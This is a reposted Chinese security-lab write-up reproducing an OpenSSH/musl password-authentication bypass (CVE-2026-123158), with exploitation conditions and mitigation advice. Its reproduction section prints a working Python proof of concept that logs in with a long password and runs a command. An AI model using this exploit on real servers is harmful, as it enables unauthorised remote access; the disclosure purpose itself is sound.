【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)

本文转载自微信公众号「弥天安全实验室」

原文标题:【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)

内容版权归原作者及原公众号所有,转载仅为传播资讯;若有侵权请联系管理员删除。



网安引领时代,弥天点亮未来





弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图1

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图2

0x01漏洞介绍


弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图3
OpenSSH OpenSSH是OpenSSH组织的一个安全管理连接的软件。
OpenSSH 10.6p2之前版本存在异常处理不当漏洞,该漏洞源于Linux上使用musl libc且无PAM时,未针对密码认证绕过提供变通方案,错误判断字符串是否为密码哈希,可能导致部分账户配置下256至1024字符之间的任意密码均可通过认证。

弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图2

0x02影响版本


OpenSSH 10.6p2之前版本
弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图5

利用条件:

1、网络可达。

2、sshd 运行于 musl libc 环境,且未启用 PAM,常见于 Alpine、OpenWrt、Buildroot、Yocto 及部分容器镜像。

3、 sshd 开启口令认证,即 PasswordAuthentication yes。
4、账号的口令锁定标记为 *,且系统中另有使用真实哈希的账号供 sshd 取盐。攻击者能够提交超过 256 字节的口令;公开分析给出的可触发区间为 257 至 1024 字节。


弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图2

0x03漏洞复现


成功复现
弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图7
poc
#!/usr/bin/env python3"""PoC educativo — CVE-2026-123158 ("sshole")
Musl crypt() devuelve '*' para contraseñas de más de 256 bytes cuando la salalmacenada también es '*' (cuentas sin hash de contraseña real). OpenSSH sinPAM compara el resultado directamente con el campo shadow: '*' == '*' → loginaceptado sin conocer la contraseña real.
Uso: python3 /home/exploit.py [HOST] [PORT] [USER] [LEN]
Ejemplos: python3 /home/exploit.py # localhost:22, alice, 300 chars python3 /home/exploit.py 172.17.0.2 22 alice # desde fuera del contenedor"""import sysimport paramiko

def try_login(host: str, port: int, user: str, password: str) -> bool: transport = paramiko.Transport((host, port)) try: transport.connect() transport.auth_password(username=user, password=password) print(f"[+] longitud={len(password)}: ACCEPTED — login aceptado") chan = transport.open_session() chan.exec_command("id") out = chan.recv(4096).decode(errors="replace") print(f" >>> {out.strip()}") return True except paramiko.AuthenticationException: print(f"[-] longitud={len(password)}: rejected — login rechazado") return False except Exception as exc: print(f"[!] longitud={len(password)}: error — {exc}") return False finally: transport.close()

def main() -> None: host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 user = sys.argv[3] if len(sys.argv) > 3 else "alice" length = int(sys.argv[4]) if len(sys.argv) > 4 else 300
print("=" * 55) print(f" CVE-2026-123158 PoC — {user}@{host}:{port}") print("=" * 55)
print("\n[*] Paso 1 — contraseña corta (control negativo):") try_login(host, port, user, "password-corta")
print(f"\n[*] Paso 2 — contraseña de {length} caracteres (explotación):") ok = try_login(host, port, user, "A" * length)
print() if ok: print("[!] VULNERABILIDAD CONFIRMADA: bypass de autenticación SSH exitoso") else: print("[-] Vulnerabilidad no reproducida en este entorno")

if __name__ == "__main__": main()

弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图8

0x0 4修复建议


目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

临时缓解措施:【在不影响业务的情况下】
1、在/etc/ssh/sshd_config中设置PasswordAuthentication no并重启sshd,禁用SSH密码认证;
2、将PermitRootLogin设置为prohibit-password或no。

建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
https://www.openssh.org/releasenotes.html#10.6p2https://github.com/leonjza/sshhole-labhttps://github.com/leonjza/sshhole-lab/blob/main/images/sshhole.png



弥天简介

学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来


















弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图9


知识分享完了

喜欢别忘了关注我们哦~


学海浩茫,

予以风动,
必降弥天之润!


弥 天

安全实验室

弥天安全实验室-【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)-图10


— 阅读原文请访问微信公众号「弥天安全实验室」 · 原文链接 —

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容